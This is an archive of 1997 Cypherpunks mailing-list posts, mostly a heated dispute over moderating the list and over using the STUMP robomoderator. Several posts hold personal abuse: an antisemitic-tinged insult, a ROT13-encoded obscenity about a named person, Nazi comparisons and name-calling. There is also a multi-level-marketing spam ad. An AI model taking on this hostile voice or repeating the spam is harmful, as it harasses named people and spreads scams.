various Macintosh newsgroups under his real name) is already not bothered
by my response. He just doesn't want others to see it.

Plucky Green is in turn responding to Ray Arachelian, who runs a "filtered"
version of Cypherpunks. Ray posts lies about me to both the main "cypher
punks" mailing list and his "filtered" one (falsely accusing me of "spamming",
of causing mail loops, etc). When I reply and refute his lies, my responses
don't go to Ray's "filtered" list. Plucky wants the extend his ability to
suppress the victim's ability to refute libel.

ObCrypto: I challenge the "cypher punks" to decode the following text:

Nffubyr prafbe Wbua Tvyzber vf n cngurgvp byq pbpxfhpxre.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sat, 11 Jan 1997 09:11:40 -0800 (PST)
To: bad@uhf.wireless.net (Bernie Doehner)
Subject: Re: another idea?
In-Reply-To: <Pine.BSF.3.95.970111112441.602B-100000@uhf.wdc.net>
Message-ID: <199701111710.JAA08932@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Bernie Doehner writes:
> 
> Hi again:
> 
> Upon rereading comments in favor of no moderation, it occured to me that a
> possible solution that will make most people  happy:
> 
> How about, we have
> cypherpunks-raw: unmoderated 110% SPAM
> cypherpunks: moderated by Sandy and other moderator.

That was the original proposal.
Now that the 'discussion' has come around full circle, can we
stop talking about it and DO it?


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 06:42:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D707A2.5410@disposable.com>
Message-ID: <HyeD1D58w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jew-hating paranoid liar Rich Graves <rcgraves@disposable.com> writes:
>
> I would not favor a moderation policy that gave carte blanche to "good guys"
> to talk about whatever they wanted ("libertarian bullshit" in Chudov's
> delicate phrasing), but required posts by "bad guys" like Dale (and in certai
> threads, me -- you never know) to be "about crypto." That's a hypocritical
> double standard.

Here's another typical post from Igor's soc.culture.russian.moderated (NOT).

Igor Chudov, a moderator of s.c.r.m, calls M. Kagalenko "envious eunich", but
Kagalenko has been banned from posting to s.c.r.m because he objected to its
creation (i.e. he's on the "blacklist" and his submissions are auto-rejected).

]From: mkagalen@lynx.dac.neu.edu (Michael Kagalenko)
]Newsgroups: soc.culture.russian,alt.genius.bill-palmer
]Subject: Re: Envious Eunuch's E-Mail Evacuations
]Message-ID: <5audbm$4vf@lynx.dac.neu.edu>
]Date: 7 Jan 1997 15:57:26 -0500
]Organization: Northeastern University, Boston, MA. 02115, USA
]
]Henrietta Thomas (hkt@wwa.com) wrote:
]]
]][newsgroups trimmed]
]]
]]ichudov@algebra.com (Igor Chudov @ home) wrote:
]]
]]>-----BEGIN PGP SIGNED MESSAGE-----
]]
]]>[crossposted to alt.genius.bill-palmer]
]]
]]>Prof. Henrietta K. Thomas wrote:
]]
]]Professor, eh? Well, well, well......
]]
]]>> >That's right, Mike;  I'll give you the bad news right here in
]]>> >soc.culture.russian, since in your e-mailing, you claimed to
]]>> >speak for--NOT MICHAEL KAGALENKO, EUNUCH--but the entire
]]>> >s.c.r. readership, in trying to run me off because you were
]]>> >infuriated by a recent posting of mine.
]]>>
]]>> Well, I don't know about the entire readership, but he certainly
]]>> speaks for me in this regard.
]]
]]>Envious Eunuch Kagalenko surely does NOT speak for me and many of my
]]>acquaintainces. We support Bill's struggle against the mischievous
]]>censorous eunuch.
]]
]]You're just angry 'cause Kagalenko tried to crash your machine.
]
] Correction; if I have tried to crash Chudov's computer, it would have been
] crashed. I'd venture to guess that getting root on his Linux box
] wouldn't be all that hard, either.
]
](Followups to sc.r.moderasted)
]
]Couldn't honour it, as I am permanently banned from there.
]
]
]--
]ABILITY,n. The natural equipment to accomplish some small part of the meaner
]           ambitions distinguishing able men from dead ones.
]                -- Ambrose Bierce, "The Devil's Dictionary"
]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:51:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <32D7CCDB.6720@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation wrote:
> Ray Arachelian <sunder@brainlink.com> writes:
> > > 3. Not making the unmoderated list first-up (i.e., cutting posts first,
> > >    then making the "full" list available later) is suspicious, or at
> > >    least a bad idea.[snip]
> What is the advantage of not having a cypherpunks-raw?  I just don't
> understand it.  It costs you nothing, it shows your willingness to
> compete with other moderators or moderation schemes, and it will make
> people a lot more confident that you aren't suppressing some messages
> from cypherpunks-flames list.
> If for some reason load really is the problem (though I can't see
> how), then can you set some maximum number of subscribers you would be
> willing to mail cypherpunks-raw to?  I mean 50 people shouldn't be
> that big a deal, right?  And if more than 50 want to subscribe and you
> think toad can't handle the load, I will run a mail exploder on a
> different machine.

Great ideas, but if I had to bet money, I'd place my bets with
Dr. Vulis on what lies behind their real reasoning.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:51:44 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Comments on moderation
In-Reply-To: <3.0.1.32.19970110215712.0132d100@mail.teleport.com>
Message-ID: <32D7CDA9.472@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen wrote:
> I have been reading the comments on moderation and I have a few comments
> I would like to see moderation, but only for those things that filters
> cannot handle effectivly.
> 1) The Spam that has been flooding the list.  It looks like someone has an
> axe to grind against the list or certain people on it, so they are doing
> their best to disrupt it.  The spam is only part of that attack.  It should
> be dealt with as any other denial of service attack.
> 2) The anonymous flames against Tim May (or anyone else for that
> matter...).  These messages contain no useful content.  They only serve to
> allow certain overgrown juviniles to vent against people they dislike.
> Killing the above would greatly improve the quality of the list. The rest
> can be killed by filters. As for the people who are crying "censor", I
> have seen little evidence that the doom they predict is going to happen.

Did you really want to say "no evidence", but were just hedging your bet?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 06:50:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: David Lesher posts a good one to rec.humror.funny
In-Reply-To: <Sa8f.6014@clarinet.com>
Message-ID: <siFD1D60w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


From: wb8foz@netcom.com
Newsgroups: rec.humor.funny
Subject: And she's no blond.....
Keywords: chuckle, original
Message-ID: <Sa8f.6014@clarinet.com>
Date: Thu, 9 Jan 97 19:30:03 EST
Organization: NRK Research
Lines: 42
Approved: funny-request@clari.net


===================================
There is a thread about those supermarket "discount customer" cards
in misc.consumer. Here's MY followup:
====================================

Dear Mr. Jones:

We noticed you've not picked up any condoms at SpiffyMart recently.
(Your last purchase was 8 weeks ago.) Further, you have stopped
buying feminine hygiene products, but have sharply increased
your frozen pizza and dinners usage in the same time frame.

It's clear that Ms. Jody Sanders has dumped you.  (It's probably
for the best - we knew she was a loser from that cheap shampoo she
buys.) We confirmed this with the Post Office database -- yep, she
filed a change of address.

We at Horny International offer our condolences.  As the number-one
vender of hot X-rated videos, we'd like to help you out in this
time of stress. If you're feeling lonely, check out our catalog of
both VHS and super 8 tapes.

Order now and we throw in an extra tape FREE!

Yours Truly;

Sleazy Jerk, Marketing Manager.



ps: That "blond" at O'Dougles last Saturday -- you bought her
2nd Strawberry Martini? Forget it! She's on her third yeast
infection in as many months, and is a 'regular' at Acme Pharmacy.
(Her HMO computer gossips with ours.) You never know what else she
might have. Our tapes are LOTS safer!..

--
Selected by Jim Griffith.  MAIL your joke to funny@clari.net.

This newsgroup is sponsored by ClariNet Communications Corp.  Read about
The Internet Joke Book -- the best of RHF at http://www.clari.net/inetjoke.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:51:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <v03007806aefcde0a5a6a@[205.186.122.248]>
Message-ID: <32D7CFAC.38D0@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:
> At 8:19 PM -0800 1/10/97, Lucky Green wrote:[snippo]
> Let me rant a bit about the "ideal" moderation structure.  Igor Chudov's
> software lets people like Matt Blase and Bruce Schneier post whatever they
> want.  (I would add people like Black Unicorn as well.  YMMV)  Other posts
> go into a pool accessible to all moderators.  If one moderator approves,
> the message goes out.  If N reject, it is rejected.  These rejections could
> either be anonymous or be included in an x-moderators-rejecting: header for
> the "worst of cypherpunks" list.

Let me guess.  Frantz started with electronic copies of Mein Kampf,
1984 (originally 1948), Brave New World, and Animal Farm, and did some
judicious substitutions:

Substitute "moderator" for "censor".
Substitute "pool" for "concentration camp".
Substitute "reject" for "liquidate".

And, they could do this anonymously, like the Gestapo, SS, LAPD, FBI,
CIA, FEMA, BATF, you get the picture.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:51:52 -0800 (PST)
To: donaldo <bogart@mps.com.mx>
Subject: Re: subscription request to mailing list
In-Reply-To: <01BBFF56.DA8A7D00@bogart.mpsnet.com.mx>
Message-ID: <32D7D2AD.4EA5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


donaldo wrote:
> please enroll me on your mailing list.
> Thank You.

WARNING:  This list is about to be censored.  The information you
receive may be edited, and therefore may not represent the information
that was originally posted.  Further, any information you post may be
censored (removed), and the content may be held against you.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clay Olbon II <olbon@ix.netcom.com>
Date: Sat, 11 Jan 1997 09:58:52 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: IMPORTANT: Additional information about UDCM.
Message-ID: <1.5.4.16.19970111130156.125fa0a0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


BU,

At 12:06 AM 1/10/97 -0500, Black Unicorn wrote:
>I dont really think anyone uses bytes to refer to key size, except perhaps
>in Prime Number challenges (RSA-129).

I am pretty sure that the Prime Number challenges refer to the number of
DECIMAl digits in the prime number.  

Otherwise excellent responses to the simplistic mumbo-jumbo.  Good to see
you posting again!

        Clay
*******************************************************
Clay Olbon			    olbon@ix.netcom.com
sys-admin, engineer, programmer, statistitian, etc.
**********************************************tanstaafl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:52:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970111003625.0069d61c@mail.io.com>
Message-ID: <32D7D8CA.3ADF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 10:49 PM 1/10/97 -0800, Lucky Green wrote:

> I think that the human moderator solution suffers less from these problems;
> in general, it's a well-tested solution to the "what about off-topic
> assholes?" problem. It's not perfect, but it does work, more or less; it's
> easy to understand, easy to implement, and requires no software changes on
> the users' end.

Yeah, Greg, we all hate those pesky asshole-types.  But what do you do,
Greg, when the *moderator* is the pesky asshole-type?  Bend over, huh?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Perkins <rperkins@uvaix2e1.comp.UVic.CA>
Date: Sat, 11 Jan 1997 10:26:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remailer
Message-ID: <199701111826.KAA92878@uvaix3e1.comp.UVic.CA>
MIME-Version: 1.0
Content-Type: text/plain


I've recently had a surge of remailing attempts made through the remailer
which I used to have running. It is no longer running. If I do reset it,
I'll notify the cypherpunk list.. the address(es) were:

rperkins@nyx.cs.du.edu
rperkins@nyx10.cs.du.edu
or:
rperkins@nox.cs.du.edu
rperkins@nyx.net .. whatever, they all went to the same place..

These accounts are all _forwarded_ to my account: rperkins@uvic.ca, and are
not forwarded.. 

Please remove my the addresses from any list of remailers you may mantain. I
will alert you if the remailer goes back up.

For those of you who don't maintain remailer listings, please make note of
these addresses: they are _not_ remailers.

Thank you.
---
      Ryan Perkins      | I feel that sucide jumpers see a glimpse of 
rperkins@castle.uvic.ca | sanity as they throw themselves from the ledge. 
 Ask for PGP public key | That's why they scream all the way down.  
          8C5357 : 9F FF BA 93 54 D5 18 78 4B 1E DA GC E3 4E





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:52:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970110201859.006d14bc@192.100.81.126>
Message-ID: <32D7DC28.44B6@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
[snip]
> ...as a long time subscriber, I care about the list. I see only one
> alternative to moderating Cypherpunks. And that is shutting it down...

What am I missing here?  Why don't these assholes just go away?

They bitch and moan constantly about other people's whining, then they
fill the list with their own whining. More hypocrisy from "cypherpunks".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:52:24 -0800 (PST)
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <32D7DE11.2BDE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:
[snip]
> I'd just like to say that as disgusting as I find most of Dale's posts,
> I consider almost all of them appropriate for the list.
> While I'd classify Dale's posts as among "worst of cypherpunks,"
> IMO they are all at least *of* cypherpunks.

Rich, you have to have a mind to comment on my posts.  To call my
posts disgusting, when I as a person am  1) Vastly more concerned
about justice, truth, and openness than you, and  2) Vastly more
intelligent than you, is pure ignorance and hypocrisy.

When you have nothing to say, you do the "attack against the man",
which is a logical fallacy.  You and Sandfort can lie in bed together
on that one.  Punk.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 11 Jan 1997 08:42:41 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <HyeD1D58w165w@bwalk.dm.com>
Message-ID: <199701111638.KAA05913@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> Jew-hating paranoid liar Rich Graves <rcgraves@disposable.com> writes:
> >
> > I would not favor a moderation policy that gave carte blanche to "good guys"
> > to talk about whatever they wanted ("libertarian bullshit" in Chudov's
> > delicate phrasing), but required posts by "bad guys" like Dale (and in certai
> > threads, me -- you never know) to be "about crypto." That's a hypocritical
> > double standard.
> 
> Here's another typical post from Igor's soc.culture.russian.moderated (NOT).
> 
> Igor Chudov, a moderator of s.c.r.m, calls M. Kagalenko "envious eunich", but
> Kagalenko has been banned from posting to s.c.r.m because he objected to its
> creation (i.e. he's on the "blacklist" and his submissions are auto-rejected).

but none of the posts in question had ever been posted to scrm.

I do not see what your example is supposed to illustrate.

	- Igor.

> ]From: mkagalen@lynx.dac.neu.edu (Michael Kagalenko)
> ]Newsgroups: soc.culture.russian,alt.genius.bill-palmer
> ]Subject: Re: Envious Eunuch's E-Mail Evacuations
> ]Message-ID: <5audbm$4vf@lynx.dac.neu.edu>
> ]Date: 7 Jan 1997 15:57:26 -0500
> ]Organization: Northeastern University, Boston, MA. 02115, USA
> ]
> ]Henrietta Thomas (hkt@wwa.com) wrote:
> ]]
> ]][newsgroups trimmed]
> ]]
> ]]ichudov@algebra.com (Igor Chudov @ home) wrote:
> ]]
> ]]>-----BEGIN PGP SIGNED MESSAGE-----
> ]]
> ]]>[crossposted to alt.genius.bill-palmer]
> ]]
> ]]>Prof. Henrietta K. Thomas wrote:
> ]]
> ]]Professor, eh? Well, well, well......
> ]]
> ]]>> >That's right, Mike;  I'll give you the bad news right here in
> ]]>> >soc.culture.russian, since in your e-mailing, you claimed to
> ]]>> >speak for--NOT MICHAEL KAGALENKO, EUNUCH--but the entire
> ]]>> >s.c.r. readership, in trying to run me off because you were
> ]]>> >infuriated by a recent posting of mine.
> ]]>>
> ]]>> Well, I don't know about the entire readership, but he certainly
> ]]>> speaks for me in this regard.
> ]]
> ]]>Envious Eunuch Kagalenko surely does NOT speak for me and many of my
> ]]>acquaintainces. We support Bill's struggle against the mischievous
> ]]>censorous eunuch.
> ]]
> ]]You're just angry 'cause Kagalenko tried to crash your machine.
> ]
> ] Correction; if I have tried to crash Chudov's computer, it would have been
> ] crashed. I'd venture to guess that getting root on his Linux box
> ] wouldn't be all that hard, either.
> ]
> ](Followups to sc.r.moderasted)
> ]
> ]Couldn't honour it, as I am permanently banned from there.
> ]
> ]
> ]--
> ]ABILITY,n. The natural equipment to accomplish some small part of the meaner
> ]           ambitions distinguishing able men from dead ones.
> ]                -- Ambrose Bierce, "The Devil's Dictionary"
> ]
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 10:52:35 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Igor / Hero or Villain?
In-Reply-To: <199701110345.VAA02052@manifold.algebra.com>
Message-ID: <32D7E031.6671@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Igor Chudov @ home wrote:
> > Does not the moderated list, moderated by YOU, already exist?
> > I am confused.
> > It is indeed suspicious because it raises a possibility of
> > concealed human involvement.
> > That's a non-answer.

>  Some days I print your postings and file them away for future
> reference. Other days, I want to cyber-shoot your sorry ass.
>  Either way, I regard you as a valuable member of CypherPunks
> for the reason that you're not about to lay down on the tracks
> and let the train run over you, just because of a 'purported'
> goal of protecting you from the 'bad' people. History has taught us
> that when the witch-hunt starts, everyone with a broom is suspect.

Just a comment. Igor indeed is one of the most intelligent and reasoned
posters here. Sorry I can't say the same for all.  Point is, Igor wants
to believe he can reason with the rabid dogs on this moderation issue.

A quote from Star Trek: "Command and compassion is a fool's mixture".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: express@capella.net
Date: Sat, 11 Jan 1997 07:46:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: FOX
Message-ID: <199701111552.KAA17764@capella.net>
MIME-Version: 1.0
Content-Type: text/plain


       THE FOX FIRE IS BURNING!

http://www.mlmers-ad-net.com/FoxTeam/Fox

FREE WEB PAGE AND CHECKS SENT OUT DAILY!

For a quick reply via E-mail send to our
Autoresponder: <fox@mlmers-ad-net.com>

Thanks,
John

********************************************
Need a bulk E-mail friendly ISP?  ($60/year)
See Web Page:  http://www.capella.net/?AAE70 
Plus you can earn a residual income too!
********************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@toad.com
Date: Sat, 11 Jan 1997 11:06:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: RSA over Rubics cube?
Message-ID: <199701111858.KAA09264@miron.vip.best.com>
MIME-Version: 1.0
Content-Type: text/plain


Just for fun, not that I am sugesting it as a serious encryption
method, but has anyone tried exponetion cyphers on the group
defined by the Rubics cube? :)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 11 Jan 1997 09:14:51 -0800 (PST)
To: gbroiles@netbox.com (Greg Broiles)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970111003625.0069d61c@mail.io.com>
Message-ID: <199701111710.LAA06067@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Greg Broiles wrote:
> 
> At 10:49 PM 1/10/97 -0800, Lucky Green wrote:
> >Yes. Igor's STUMP software seems like the way to go. The vast majority of
> >posters to this list are not a problem. Discussions amongst them may get
> >heated, but they have basic human decency and never even come close to the
> >level of abuse and bigotry we have seen from Vulis, aga, et al. 
> 
> I think that the move to human moderation is a good thing, and am pleased
> that Sandy will shortly begin to act as moderator.
> 
> However, I think that forming lists of "approved people" and "unapproved
> people" and treating them differently is likely to do more harm than good,
> even if we have nice software which does it very efficiently. I don't like
> it for several reasons:
> 
> 1.	Political. It's symbolically disturbing, and it tends to shift the focus
> of the group (and of the moderation process) away from messages, and
> towards the people who post them. I think it'd be tempting to turn it into
> some sort of bureaucratic system, with punishments (being on the bad list)
> and rewards and status changes and written warnings and all of the other
> features which frequently bring out the worst in people. I suspect that
> agreeing on "the 10 people who are clearly a problem" will turn out to be
> as difficult as finding any 10 things that cypherpunks can agree on, and
> then we've got to decide who decides who's a problem, and then we've got to
> decide how we decide things, and argue about whether or not John Gilmore is
> a good person, and [...]
> 
> 2.	Technical. It requires that the people on the "good list" authenticate
> their messages (otherwise people will post with the names of "good people"
> to avoid moderation), which imports a lot of hassle with different
> platforms and signing and certification and key distribution and [...]
> which we don't have good solutions for yet.
> 
> 3.	 Conceptual. It's a complex problem technically and politically, which
> means that it's difficult to understand or debug, and it's got a lot of
> points of failure. In general, complex solutions (which require many people
> to install and learn new software) are difficult to implement, take longer
> than anticipated, and are frequently avoided by the people they're
> supposedly helping. (See, e.g., RISKS Digest; both for how a
> human-moderated list can work nicely, and for examples of how complex
> technical solutions to problems often create more or worse problems than
> they solve.)
> 
> I think that the human moderator solution suffers less from these problems;
> in general, it's a well-tested solution to the "what about off-topic
> assholes?" problem. It's not perfect, but it does work, more or less; it's
> easy to understand, easy to implement, and requires no software changes on
> the users' end.

Greg brings up a number of very good points.

A small correction: robomod does not necessarily require authentication
of posters from the preapproved list. It is merely an option that can 
be turned on and off.

We should all understand that forgeries in the names of preapproved
people are only a SYMPTOM of a problem, not a problem in and of itself.
The true problem in such case would be that the forgers feel that they
are treated unfairly by moderators. Such people may think that the
purpose of moderation is to get rid of their persons altogether.

Therefore, if moderators face a problem of forgeries and perceive a need 
to turn this authentication option on, they should step back and this 
what THEY did wrong. Did they give the forgers an impression that 
moderators want to silence them? Do they treat everyone, including the
former "problem" people, fairly and equally?

I have a suggestion, actually. I can rewrite STUMP in such a way that
when moderators receive messages for moderation, they would not see any
header information indicating who wrote the message (this information 
would be in the packet that arrives to them, but it would be encrypted
with Internal Traffic Key). This way, a moderator would not know if the
message is, say, from Tim May or from Dr. Vulis, and would make their
decisions (including decisions to preapprove) based solely on the
message contents. That may give some way towards fairness.

Greg mentions several important and real dissadvantages of preapproved
lists, but the huge advantage that they give is a reduction in costs of
human moderation. Namely, human moderators do not have to work as hard,
and the latency (thanks, Rich!) of most posts is dramatically reduced.

DISADVANTAGES (Greg):

1) creates two "classes" of posters
2) somewhat arbitrary
3) possible forgeries require authentication and that's a pain

ADVANTAGES: 

1) reduces moderators' effort
2) reduces latency
3) depends on how you look at it -- required authentication may be "good".
4) for people like Eric Murray, who post on-topic articles, the list
   becomes essentially unmoderated, as it used to be.

Note that another important feature of STUMP that we seem to overlook was
designed specifically to address the problems of preapproved lists. This
feature is the presence of "bad words list". This is a set of regular
expressions, stored in a file, such that if incoming messages match
these expressions, they would be considered "suspicious" even if they
purport to be "From: " preapproved persons. That goes a long way towards
security and fairness because now nobody (including, say, Paul Bradley
along with Dr. Vulis or myself) would be able to call someone else
"cocksucker" without review by human moderators.

*If* moderators are fair, that would ensure that people are treated
equally even if some of them are preapproved and some are not.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bernie Doehner <bad@uhf.wireless.net>
Date: Sat, 11 Jan 1997 08:16:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970111003625.0069d61c@mail.io.com>
Message-ID: <Pine.BSF.3.95.970111110027.602A-100000@uhf.wdc.net>
MIME-Version: 1.0
Content-Type: text/plain


> I think that the move to human moderation is a good thing, and am pleased
> that Sandy will shortly begin to act as moderator.

Last night's barrage of SPAM convinced me that this is a really good
thing. 
 
> However, I think that forming lists of "approved people" and "unapproved
> people" and treating them differently is likely to do more harm than good,
> even if we have nice software which does it very efficiently. I don't like
> it for several reasons:

Why jump to conclusions about the moderator's behavior?  Lets give the
new moderators a chance - PLEASE!!!

I think our new moderators have been around long enough to know
what's appropriate and what's not. I for one am getting really tired of
seeing so many off topic messages (not necessary SPAM) on here. I have
been tempted to unsubscribe a couple of times, but I haven't because I
don't want to miss information on the DES/RC5 Challenge and other
important info.

I have been on well moderated lists, as well as had to ask a friend of
mine who was on a closed list to forward postings to me (I couldn't get on
the approved list because I hadn't sent them $20).

> 1.	Political. It's symbolically disturbing, and it tends to shift the focus
> of the group (and of the moderation process) away from messages, and
> towards the people who post them. I think it'd be tempting to turn it into
> some sort of bureaucratic system, with punishments (being on the bad list)

In the case of this one closed list that I know of, I'd agree with you,
but I'd argue that this isn't generaly true. Let me ask you this: How many
of the messages posted to this list have you actualy read/found useful? 

I personaly don't find more than perhaps 5% useful.

> 2.	Technical. It requires that the people on the "good list" authenticate
> their messages (otherwise people will post with the names of "good people"
> to avoid moderation), which imports a lot of hassle with different
> platforms and signing and certification and key distribution and [...]
> which we don't have good solutions for yet.

I sort of see your point, but I don't think we have to go that far. A
moderator's main function is one of keeping the discussions on track (Ie.
SPAM selling Metamucil doesn't qualify). Authentication goes a little
beyond that. I think forcing authentication will really turn this into
a political problem.

Good luck Sandy and other moderator!

Bernie





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bernie Doehner <bad@uhf.wireless.net>
Date: Sat, 11 Jan 1997 08:28:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: another idea?
In-Reply-To: <19970111060735.2441.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.BSF.3.95.970111112441.602B-100000@uhf.wdc.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi again:

Upon rereading comments in favor of no moderation, it occured to me that a
possible solution that will make most people  happy:

How about, we have
cypherpunks-raw: unmoderated 110% SPAM
cypherpunks: moderated by Sandy and other moderator.

Then, if the moderator approve pool for cypherpunks is crosslinked to
cypherpunks-raw (two way link), we have the best of both worlds. People
who want to experiment with filtering software can do that, and people who
want the SPAM and off subject garbage to go away can do that.

Bernie





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 11 Jan 1997 09:42:48 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970110224930.006d114c@192.100.81.126>
Message-ID: <199701111739.LAA06214@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Lucky Green wrote:
> Igor claims that on lists moderated by STUMP, 95% of the people are

Lucky,

I think that 95% figure is a bit high. I hope I did not claim it:), at
least STUMP home page gives a more conservative number of 80%. For scrm,
the number may be higher than that, but I would not guarantee 95% for
every other newsgroup or mailing list. The variable that this number
depends on is the preapproval policy.

For example, in the windows 95 newsgroup where STUMP is used, their
criteria for preapproval is very strict -- they require 5 successive
approved posts to get a poster preapproved. That will inevitably result
in more work for moderators, but heck, that's what they want.

I would normally expect this number to settle around 85-90% eventually,
but 80% is the low ballpark figure.

Attached below is STUMP's automatic periodic report about SCRM. It shows
that the rate for SCRM is about 88%.

> pre-approved. I believe it. Because 95% of the posters are not a problem.
> It is a small part of the other 5% that fuck things up. I second Sandy and
> John's proposal to moderate Cypherpunks. I propose we use Igor's STUMP
> software for this purpose, iff it performs as claimed.
> 
> [Does STUMP have a web interface?]
> 

Yes, look at Modscape at STUMP's home page (go there from 
http://www.algebra.com/~ichudov). Now it works under linux,
but can be ported to other unices (and possibly windoze also).

Attachment: 

#Subject: soc.culture.russian.moderated report for Tue Dec 31 19:05:01 EST 1996
#From:    SCRM Approval Key <scrm-approval-key@algebra.com>
#Date:    1996/12/31
#Message-Id:   <199701010005.TAA15238@www.video-collage.com>
#X-Robomod-Version: STUMP 1.1, by ichudov@algebra.com (Igor Chudov)
#X-Origin:   From: scrm-Admin@algebra.com, From scrm  Tue Dec 31 19:05:03 1996
#X-Scrm-Info-1: Send submissions to             scrm@algebra.com
#X-Scrm-Info-2: Send technical complaints to    scrm-Admin@algebra.com
#X-Scrm-Info-3: Send complaints about policy to scrm-Board@algebra.com
#Organization: CrYpToRoBoMoDeRaToR CaBaL
#X-Scrm-Policy: http://www.algebra.com/~ichudov/usenet/scrm/index.html
#X-Auth:    PGPMoose V1.1 PGP soc.culture.russian.moderated
#X-Comment: moderators do not necessarily agree or disagree with this article.
#Reply-To:  scrm-Admin@algebra.com
#Newsgroups:soc.culture.russian.moderated
#
#
#-----BEGIN PGP SIGNED MESSAGE-----
#
#Subject: soc.culture.russian.moderated report for Tue Dec 31 19:05:01 EST 1996
#Newsgroups: soc.culture.russian.moderated
